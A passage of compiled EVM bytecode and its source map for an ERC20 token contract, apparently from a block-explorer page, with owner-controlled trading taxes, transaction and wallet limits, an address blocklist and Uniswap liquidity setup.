205490565b3480156102c6575f80fd5b5061023a610554565b3480156102da575f80fd5b5061023a6105c5565b3480156102ee575f80fd5b506101bf600f5481565b348015610303575f80fd5b505f546040516001600160a01b039091168152602001610172565b348015610329575f80fd5b506101bf60105481565b34801561033e575f80fd5b5061019a61034d36600461172a565b610679565b34801561035d575f80fd5b506101bf60115481565b348015610372575f80fd5b5061023a6103813660046117a6565b610685565b348015610391575f80fd5b506101bf6103a0366004611881565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d5575f80fd5b5061023a610709565b3480156103e9575f80fd5b5061023a610903565b5f6103fe338484610aec565b5060015b92915050565b5f6104156009600a6119ac565b610424906461f313f8806119ba565b905090565b5f610435848484610c10565b610486843361048185604051806060016040528060288152602001611b4e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e13565b610aec565b5060019392505050565b5f546001600160a01b031633146104c25760405162461bcd60e51b81526004016104b9906119d1565b60405180910390fd5b5f5b815181101561051c575f60045f8484815181106104e3576104e3611a06565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104c4565b5050565b5f546001600160a01b031633146105495760405162461bcd60e51b81526004016104b9906119d1565b61055247610e4b565b565b5f546001600160a01b0316331461057d5760405162461bcd60e51b81526004016104b9906119d1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ee5760405162461bcd60e51b81526004016104b9906119d1565b6105fa6009600a6119ac565b610609906461f313f8806119ba565b600f556106186009600a6119ac565b610627906461f313f8806119ba565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106576009600a6119ac565b610666906461f313f8806119ba565b60405190815260200160405180910390a1565b5f6103fe338484610c10565b5f546001600160a01b031633146106ae5760405162461bcd60e51b81526004016104b9906119d1565b5f5b815181101561051c57600160045f8484815181106106d0576106d0611a06565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016106b0565b5f546001600160a01b031633146107325760405162461bcd60e51b81526004016104b9906119d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077c90309061076d6009600a6119ac565b610481906461f313f8806119ba565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f09190611a1a565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108739190611a1a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e19190611a1a565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461092c5760405162461bcd60e51b81526004016104b9906119d1565b601454600160a01b900460ff16156109865760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b9565b6013546001600160a01b031663f305d71947306109b7816001600160a01b03165f9081526001602052604090205490565b5f806109ca5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a30573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a559190611a35565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aaa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ace9190611a60565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b038316610b4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b9565b6001600160a01b038216610baf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b9565b6001600160a01b038216610cd65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b9565b5f8111610d375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b9565b601454600160b01b900460ff161580610d595750601454600160a81b900460ff165b15610e03576001600160a01b0383165f90815260016020526040902054610d81908290611a7f565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610db0908290611a92565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c039085815260200190565b610e0e838383610e82565b505050565b5f8184841115610e365760405162461bcd60e51b81526004016104b991906116b7565b505f610e428486611a7f565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561051c573d5f803e3d5ffd5b5f546001600160a01b03848116911614801590610eac57505f546001600160a01b03838116911614155b156111dd576001600160a01b0383165f9081526004602052604090205460ff16158015610ef157506001600160a01b0382165f9081526004602052604090205460ff16155b610ef9575f80fd5b6014546001600160a01b038481169116148015610f2457506013546001600160a01b03838116911614155b8015610f4857506001600160a01b0382165f9081526003602052604090205460ff16155b1561104f57600f54811115610f9f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b9565b60105481610fc1846001600160a01b03165f9081526001602052604090205490565b610fcb9190611a92565b11156110195760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b9565b4360065460036110299190611a92565b111561103a57813b1561103a575f80fd5b600e8054905f61104983611aa5565b91905055505b6014546001600160a01b0383811691161480159061108557506001600160a01b0382165f9081526003602052604090205460ff16155b1561110457601054816110ac846001600160a01b03165f9081526001602052604090205490565b6110b69190611a92565b11156111045760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b9565b305f90815260016020526040902054601454600160a81b900460ff1615801561113a57506014546001600160a01b038481169116145b801561114f5750601454600160b01b900460ff165b801561115e5750600d54600e54115b801561118257506001600160a01b0384165f9081526003602052604090205460ff16155b80156111a657506001600160a01b0383165f9081526003602052604090205460ff16155b156111db576011548111156111d2576111d26111cd836111c8846012546111e8565b6111e8565b6111ff565b6111db47610e4b565b505b610e0e83838361136f565b5f8183116111f657826111f8565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124557611245611a06565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561129c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c09190611a1a565b816001815181106112d3576112d3611a06565b6001600160a01b0392831660209182029290920101526013546112f99130911684610aec565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113319085905f90869030904290600401611abd565b5f604051808303815f87803b158015611348575f80fd5b505af115801561135a573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6001600160a01b0383165f90815260036020526040812054819060ff16611496576113bc60646113b6600b54600e54116113ab576007546113af565b6009545b869061155e565b906115dc565b6014549092506001600160a01b0385811691161480156113e557506001600160a01b0385163014155b156114125761140f60646113b6600c54600e5411611405576008546113af565b600a54869061155e565b91505b61141b8361161d565b9050811561149657305f9081526001602052604090205461143d908390611a92565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061148d9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546114b9908290611a7f565b6001600160a01b0386165f908152600160205260409020556114db838361164a565b6001600160a01b0385165f908152600160205260409020546114fd9190611a92565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611546868661164a565b60405190815260200160405180910390a35050505050565b5f825f0361156d57505f610402565b5f61157883856119ba565b9050826115858583611b2e565b146111f85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b9565b5f6111f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168b565b5f600a61162b8360016119ba565b611635905f611a92565b61164090600a611a92565b6104029190611a7f565b5f6111f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e13565b5f81836116ab5760405162461bcd60e51b81526004016104b991906116b7565b505f610e428486611b2e565b5f602080835283518060208501525f5b818110156116e3578581018301518582016040015282016116c7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611717575f80fd5b50565b803561172581611703565b919050565b5f806040838503121561173b575f80fd5b823561174681611703565b946020939093013593505050565b5f805f60608486031215611766575f80fd5b833561177181611703565b9250602084013561178181611703565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117b7575f80fd5b823567ffffffffffffffff808211156117ce575f80fd5b818501915085601f8301126117e1575f80fd5b8135818111156117f3576117f3611792565b8060051b604051601f19603f8301168101818110858211171561181857611818611792565b604052918252848201925083810185019188831115611835575f80fd5b938501935b8285101561185a5761184b8561171a565b8452938501939285019261183a565b98975050505050505050565b5f60208284031215611876575f80fd5b81356111f881611703565b5f8060408385031215611892575f80fd5b823561189d81611703565b915060208301356118ad81611703565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561190657815f19048211156118ec576118ec6118b8565b808516156118f957918102915b93841c93908002906118d1565b509250929050565b5f8261191c57506001610402565b8161192857505f610402565b816001811461193e576002811461194857611964565b6001915050610402565b60ff841115611959576119596118b8565b50506001821b610402565b5060208310610133831016604e8410600b8410161715611987575081810a610402565b61199183836118cc565b805f19048211156119a4576119a46118b8565b029392505050565b5f6111f860ff84168361190e565b8082028115828204841417610402576104026118b8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a2a575f80fd5b81516111f881611703565b5f805f60608486031215611a47575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a70575f80fd5b815180151581146111f8575f80fd5b81810381811115610402576104026118b8565b80820180821115610402576104026118b8565b5f60018201611ab657611ab66118b8565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b0d5784516001600160a01b031683529383019391830191600101611ae8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b4857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee39736a42c163c499e6dd4cf265f93246756d8337cc8bb35f09d168424b5eeb64736f6c63430008180033
Deployed Bytecode Sourcemap
3959:10078:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6284:83;;;;;;;;;;-1:-1:-1;6354:5:0;;;;;;;;;;;-1:-1:-1;;;6354:5:0;;;;6284:83;;;;6354:5;6284:83;:::i;:::-;;;;;;;;7167:186;;;;;;;;;;-1:-1:-1;7167:186:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7167:186:0;1162:187:1;5117:70:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5117:70:0;1354:177:1;6561:95:0;;;;;;;;;;;;;:::i;7361:446::-;;;;;;;;;;-1:-1:-1;7361:446:0;;;;;:::i;:::-;;:::i;6470:83::-;;;;;;;;;;-1:-1:-1;6470:83:0;;4708:1;2139:36:1;;2127:2;2112:18;6470:83:0;1997:184:1;13104:168:0;;;;;;;;;;-1:-1:-1;13104:168:0;;;;;:::i;:::-;;:::i;:::-;;13280:86;;;;;;;;;;-1:-1:-1;13280:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;13351:7:0;13327:4;13351:7;;;:4;:7;;;;;;;;;13280:86;13941:93;;;;;;;;;;;;;:::i;6664:119::-;;;;;;;;;;-1:-1:-1;6664:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6757:18:0;6730:7;6757:18;;;:9;:18;;;;;;;6664:119;2990:148;;;;;;;;;;;;;:::i;12662:162::-;;;;;;;;;;;;;:::i;4896:71::-;;;;;;;;;;;;;;;;2776:79;;;;;;;;;;-1:-1:-1;2814:7:0;2841:6;2776:79;;-1:-1:-1;;;;;2841:6:0;;;3842:51:1;;3830:2;3815:18;2776:79:0;3696:203:1;4974:73:0;;;;;;;;;;;;;;;;6791:192;;;;;;;;;;-1:-1:-1;6791:192:0;;;;;:::i;:::-;;:::i;5054:56::-;;;;;;;;;;;;;;;;12932:164;;;;;;;;;;-1:-1:-1;12932:164:0;;;;;:::i;:::-;;:::i;6991:168::-;;;;;;;;;;-1:-1:-1;6991:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7124:18:0;;;7097:7;7124:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6991:168;5891:385;;;;;;;;;;;;;:::i;13374:522::-;;;;;;;;;;;;;:::i;7167:186::-;7267:4;7284:39;403:10;7307:7;7316:6;7284:8;:39::i;:::-;-1:-1:-1;7341:4:0;7167:186;;;;;:::o;6561:95::-;6614:7;4766:15;4708:1;4766:2;:15;:::i;:::-;4751:30;;:12;:30;:::i;:::-;6634:14;;6561:95;:::o;7361:446::-;7493:4;7510:36;7520:6;7528:9;7539:6;7510:9;:36::i;:::-;7557:220;7580:6;403:10;7628:138;7684:6;7628:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7628:19:0;;;;;;:11;:19;;;;;;;;403:10;7628:33;;;;;;;;;;:37;:138::i;:::-;7557:8;:220::i;:::-;-1:-1:-1;7795:4:0;7361:446;;;;;:::o;13104:168::-;2903:6;;-1:-1:-1;;;;;2903:6:0;403:10;2903:22;2895:67;;;;-1:-1:-1;;;2895:67:0;;;;;;;:::i;:::-;;;;;;;;;13179:6:::1;13174:91;13195:6;:13;13191:1;:17;13174:91;;;13248:5;13230:4;:15;13235:6;13242:1;13235:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13230:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13230:15:0;:23;;-1:-1:-1;;13230:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13210:3:0::1;13174:91;;;;13104:168:::0;:::o;13941:93::-;2903:6;;-1:-1:-1;;;;;2903:6:0;403:10;2903:22;2895:67;;;;-1:-1:-1;;;2895:67:0;;;;;;;:::i;:::-;13991:35:::1;14004:21;13991:12;:35::i;:::-;13941:93::o:0;2990:148::-;2903:6;;-1:-1:-1;;;;;2903:6:0;403:10;2903:22;2895:67;;;;-1:-1:-1;;;2895:67:0;;;;;;;:::i;:::-;3097:1:::1;3081:6:::0;;3060:40:::1;::::0;-1:-1:-1;;;;;3081:6:0;;::::1;::::0;3060:40:::1;::::0;3097:1;;3060:40:::1;3128:1;3111:19:::0;;-1:-1:-1;;;;;;3111:19:0::1;::::0;;2990:148::o;12662:162::-;2903:6;;-1:-1:-1;;;;;2903:6:0;403:10;2903:22;2895:67;;;;-1:-1:-1;;;2895:67:0;;;;;;;:::i;:::-;4766:15:::1;4708:1;4766:2;:15;:::i;:::-;4751:30;::::0;:12:::1;:30;:::i;:::-;12716:12;:22:::0;4766:15:::1;4708:1;4766:2;:15;:::i;:::-;4751:30;::::0;:12:::1;:30;:::i;:::-;12749:14;:24:::0;12789:27:::1;4766:15;4708:1;4766:2;:15;:::i;:::-;4751:30;::::0;:12:::1;:30;:::i;:::-;12789:27;::::0;1500:25:1;;;1488:2;1473:18;12789:27:0::1;;;;;;;12662:162::o:0;6791:192::-;6894:4;6911:42;403:10;6935:9;6946:6;6911:9;:42::i;12932:164::-;2903:6;;-1:-1:-1;;;;;2903:6:0;403:10;2903:22;2895:67;;;;-1:-1:-1;;;2895:67:0;;;;;;;:::i;:::-;13006:6:::1;13001:88;13022:5;:12;13018:1;:16;13001:88;;;13073:4;13056;:14;13061:5;13067:1;13061:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13056:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13056:14:0;:21;;-1:-1:-1;;13056:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13036:3:0::1;13001:88;;5891:385:::0;2903:6;;-1:-1:-1;;;;;2903:6:0;403:10;2903:22;2895:67;;;;-1:-1:-1;;;2895:67:0;;;;;;;:::i;:::-;5937:15:::1;:104:::0;;-1:-1:-1;;;;;;5937:104:0::1;5988:42;5937:104:::0;;::::1;::::0;;;6052:58:::1;::::0;6069:4:::1;::::0;4766:15:::1;4708:1;4766:2;:15;:::i;:::-;4751:30;::::0;:12:::1;:30;:::i;6052:58::-;6155:15;;;;;;;;;-1:-1:-1::0;;;;;6155:15:0::1;-1:-1:-1::0;;;;;6155:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6137:55:0::1;;6215:4;6235:15;;;;;;;;;-1:-1:-1::0;;;;;6235:15:0::1;-1:-1:-1::0;;;;;6235:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6137:131;::::0;-1:-1:-1;;;;;;6137:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6958:15:1;;;6137:131:0::1;::::0;::::1;6940:34:1::0;7010:15;;6990:18;;;6983:43;6875:18;;6137:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6121:13;:147:::0;;-1:-1:-1;;;;;;6121:147:0::1;-1:-1:-1::0;;;;;6121:147:0;;;::::1;::::0;;;::::1;::::0;;5891:385::o;13374:522::-;2903:6;;-1:-1:-1;;;;;2903:6:0;403:10;2903:22;2895:67;;;;-1:-1:-1;;;2895:67:0;;;;;;;:::i;:::-;13429:11:::1;::::0;-1:-1:-1;;;13429:11:0;::::1;;;13428:12;13420:48;;;::::0;-1:-1:-1;;;13420:48:0;;7239:2:1;13420:48:0::1;::::0;::::1;7221:21:1::0;7278:2;7258:18;;;7251:30;7317:25;7297:18;;;7290:53;7360:18;;13420:48:0::1;7037:347:1::0;13420:48:0::1;13489:15;::::0;-1:-1:-1;;;;;13489:15:0::1;:31;13528:21;13573:4;13593:24;13573:4:::0;-1:-1:-1;;;;;6757:18:0;6730:7;6757:18;;;:9;:18;;;;;;;6664:119;13593:24:::1;13632:1;13648::::0;13664:7:::1;2814::::0;2841:6;-1:-1:-1;;;;;2841:6:0;;2776:79;13664:7:::1;13489:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13489:223:0;;;-1:-1:-1;;;;;7748:15:1;;;13489:223:0::1;::::0;::::1;7730:34:1::0;7780:18;;;7773:34;;;;7823:18;;;7816:34;;;;7866:18;;;7859:34;7930:15;;;7909:19;;;7902:44;13686:15:0::1;7962:19:1::0;;;7955:35;7664:19;;13489:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13730:13:0::1;::::0;13761:15:::1;::::0;13723:71:::1;::::0;-1:-1:-1;;;13723:71:0;;-1:-1:-1;;;;;13761:15:0;;::::1;13723:71;::::0;::::1;8486:51:1::0;-1:-1:-1;;8553:18:1;;;8546:34;13730:13:0;::::1;::::0;-1:-1:-1;13723:29:0::1;::::0;8459:18:1;;13723:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13805:11:0::1;:18:::0;;-1:-1:-1;;;;13834:18:0;-1:-1:-1;;;13834:18:0;;;13876:12:::1;13863:10;:25:::0;13374:522::o;7815:335::-;-1:-1:-1;;;;;7908:19:0;;7900:68;;;;-1:-1:-1;;;7900:68:0;;9075:2:1;7900:68:0;;;9057:21:1;9114:2;9094:18;;;9087:30;9153:34;9133:18;;;9126:62;-1:-1:-1;;;9204:18:1;;;9197:34;9248:19;;7900:68:0;8873:400:1;7900:68:0;-1:-1:-1;;;;;7987:21:0;;7979:68;;;;-1:-1:-1;;;7979:68:0;;9480:2:1;7979:68:0;;;9462:21:1;9519:2;9499:18;;;9492:30;9558:34;9538:18;;;9531:62;-1:-1:-1;;;9609:18:1;;;9602:32;9651:19;;7979:68:0;9278:398:1;7979:68:0;-1:-1:-1;;;;;8058:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8110:32;;1500:25:1;;;8110:32:0;;1473:18:1;8110:32:0;;;;;;;;7815:335;;;:::o;9856:574::-;-1:-1:-1;;;;;9944:18:0;;9936:68;;;;-1:-1:-1;;;9936:68:0;;9883:2:1;9936:68:0;;;9865:21:1;9922:2;9902:18;;;9895:30;9961:34;9941:18;;;9934:62;-1:-1:-1;;;10012:18:1;;;10005:35;10057:19;;9936:68:0;9681:401:1;9936:68:0;-1:-1:-1;;;;;10023:16:0;;10015:64;;;;-1:-1:-1;;;10015:64:0;;10289:2:1;10015:64:0;;;10271:21:1;10328:2;10308:18;;;10301:30;10367:34;10347:18;;;10340:62;-1:-1:-1;;;10418:18:1;;;10411:33;10461:19;;10015:64:0;10087:399:1;10015:64:0;10107:1;10098:6;:10;10090:64;;;;-1:-1:-1;;;10090:64:0;;10693:2:1;10090:64:0;;;10675:21:1;10732:2;10712:18;;;10705:30;10771:34;10751:18;;;10744:62;-1:-1:-1;;;10822:18:1;;;10815:39;10871:19;;10090:64:0;10491:405:1;10090:64:0;10170:11;;-1:-1:-1;;;10170:11:0;;;;10169:12;;:22;;-1:-1:-1;10185:6:0;;-1:-1:-1;;;10185:6:0;;;;10169:22;10165:217;;;-1:-1:-1;;;;;10226:15:0;;;;;;:9;:15;;;;;;:24;;10244:6;;10226:24;:::i;:::-;-1:-1:-1;;;;;10208:15:0;;;;;;;:9;:15;;;;;;:42;;;;10281:13;;;;;;;:22;;10297:6;;10281:22;:::i;:::-;-1:-1:-1;;;;;10265:13:0;;;;;;;:9;:13;;;;;;;:38;;;;10323:26;;;;;;;;;;10342:6;1500:25:1;;1488:2;1473:18;;1354:177;10165:217:0;10392:30;10405:4;10411:2;10415:6;10392:12;:30::i;:::-;9856:574;;;:::o;1578:224::-;1698:7;1734:12;1726:6;;;;1718:29;;;;-1:-1:-1;;;1718:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1758:9:0;1770:5;1774:1;1770;:5;:::i;:::-;1758:17;1578:224;-1:-1:-1;;;;;1578:224:0:o;12832:92::-;12889:10;;:27;;-1:-1:-1;;;;;12889:10:0;;;;:27;;;;;12909:6;;12889:10;:27;:10;:27;12909:6;12889:10;:27;;;;;;;;;;;;;;;;;;;8158:1690;2814:7;2841:6;-1:-1:-1;;;;;8246:15:0;;;2841:6;;8246:15;;;;:32;;-1:-1:-1;2814:7:0;2841:6;-1:-1:-1;;;;;8265:13:0;;;2841:6;;8265:13;;8246:32;8242:1554;;;-1:-1:-1;;;;;8304:10:0;;;;;;:4;:10;;;;;;;;8303:11;:24;;;;-1:-1:-1;;;;;;8319:8:0;;;;;;:4;:8;;;;;;;;8318:9;8303:24;8295:33;;;;;;8375:13;;-1:-1:-1;;;;;8367:21:0;;;8375:13;;8367:21;:72;;;;-1:-1:-1;8423:15:0;;-1:-1:-1;;;;;8409:30:0;;;8423:15;;8409:30;;8367:72;:116;;;;-1:-1:-1;;;;;;8461:22:0;;;;;;:18;:22;;;;;;;;8460:23;8367:116;8345:560;;;8536:12;;8526:6;:22;;8518:60;;;;-1:-1:-1;;;8518:60:0;;11366:2:1;8518:60:0;;;11348:21:1;11405:2;11385:18;;;11378:30;11444:27;11424:18;;;11417:55;11489:18;;8518:60:0;11164:349:1;8518:60:0;8653:14;;8643:6;8627:13;8637:2;-1:-1:-1;;;;;6757:18:0;6730:7;6757:18;;;:9;:18;;;;;;;6664:119;8627:13;:22;;;;:::i;:::-;:40;;8597:140;;;;-1:-1:-1;;;8597:140:0;;11720:2:1;8597:140:0;;;11702:21:1;11759:2;11739:18;;;11732:30;11798:28;11778:18;;;11771:56;11844:18;;8597:140:0;11518:350:1;8597:140:0;8779:12;8762:10;;8775:1;8762:14;;;;:::i;:::-;:29;8758:102;;;12099:20;;12147:8;8816:24;;;;;;8878:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8345:560;8931:13;;-1:-1:-1;;;;;8925:19:0;;;8931:13;;8925:19;;;;:46;;-1:-1:-1;;;;;;8949:22:0;;;;;;:18;:22;;;;;;;;8948:23;8925:46;8921:227;;;9048:14;;9038:6;9022:13;9032:2;-1:-1:-1;;;;;6757:18:0;6730:7;6757:18;;;:9;:18;;;;;;;6664:119;9022:13;:22;;;;:::i;:::-;:40;;8992:140;;;;-1:-1:-1;;;8992:140:0;;11720:2:1;8992:140:0;;;11702:21:1;11759:2;11739:18;;;11732:30;11798:28;11778:18;;;11771:56;11844:18;;8992:140:0;11518:350:1;8992:140:0;9213:4;9164:28;6757:18;;;:9;:18;;;;;;9257:6;;-1:-1:-1;;;9257:6:0;;;;9256:7;:47;;;;-1:-1:-1;9290:13:0;;-1:-1:-1;;;;;9284:19:0;;;9290:13;;9284:19;9256:47;:79;;;;-1:-1:-1;9324:11:0;;-1:-1:-1;;;9324:11:0;;;;9256:79;:130;;;;;9368:18;;9356:9;;:30;9256:130;:176;;;;-1:-1:-1;;;;;;9408:24:0;;;;;;:18;:24;;;;;;;;9407:25;9256:176;:220;;;;-1:-1:-1;;;;;;9454:22:0;;;;;;:18;:22;;;;;;;;9453:23;9256:220;9234:551;;;9537:17;;9514:20;:40;9511:205;;;9579:117;9622:51;9626:6;9634:38;9638:20;9660:11;;9634:3;:38::i;:::-;9622:3;:51::i;:::-;9579:16;:117::i;:::-;9734:35;9747:21;9734:12;:35::i;:::-;8280:1516;8242:1554;9808:32;9823:4;9829:2;9833:6;9808:14;:32::i;11853:107::-;11910:7;11942:1;11938;:5;11937:15;;11951:1;11937:15;;;11947:1;11937:15;11930:22;11853:107;-1:-1:-1;;;11853:107:0:o;12171:483::-;5471:6;:13;;-1:-1:-1;;;;5471:13:0;-1:-1:-1;;;5471:13:0;;;12273:16:::1;::::0;;12287:1:::1;12273:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12273:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12273:16:0::1;12249:40;;12318:4;12300;12305:1;12300:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12300:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12344:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12344:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12300:7;;12344:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12334:4;12339:1;12334:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12334:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12409:15:::1;::::0;12377:62:::1;::::0;12394:4:::1;::::0;12409:15:::1;12427:11:::0;12377:8:::1;:62::i;:::-;12450:15;::::0;:196:::1;::::0;-1:-1:-1;;;12450:196:0;;-1:-1:-1;;;;;12450:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12531:11;;12450:15:::1;::::0;12573:4;;12600::::1;::::0;12620:15:::1;::::0;12450:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5507:6:0;:14;;-1:-1:-1;;;;5507:14:0;;;-1:-1:-1;;;;12171:483:0:o;10438:1148::-;-1:-1:-1;;;;;11677:25:0;;10525:11;11677:25;;;:18;:25;;;;;;10525:11;;11677:25;;10585:813;;10631:185;10812:3;10631:162;10688:15;;10676:9;;:27;10675:103;;10764:14;;10675:103;;;10728:12;;10675:103;10631:7;;:25;:162::i;:::-;:180;;:185::i;:::-;10841:13;;10625:191;;-1:-1:-1;;;;;;10835:19:0;;;10841:13;;10835:19;:44;;;;-1:-1:-1;;;;;;10858:21:0;;10874:4;10858:21;;10835:44;10831:327;;;10906:236;11138:3;10906:205;10979:16;;10967:9;;:28;10966:122;;11073:15;;10966:122;;;11028:13;;10906:7;;:33;:205::i;:236::-;10900:242;;10831:327;11188:19;11199:7;11188:10;:19::i;:::-;11174:33;-1:-1:-1;11228:7:0;;11224:163;;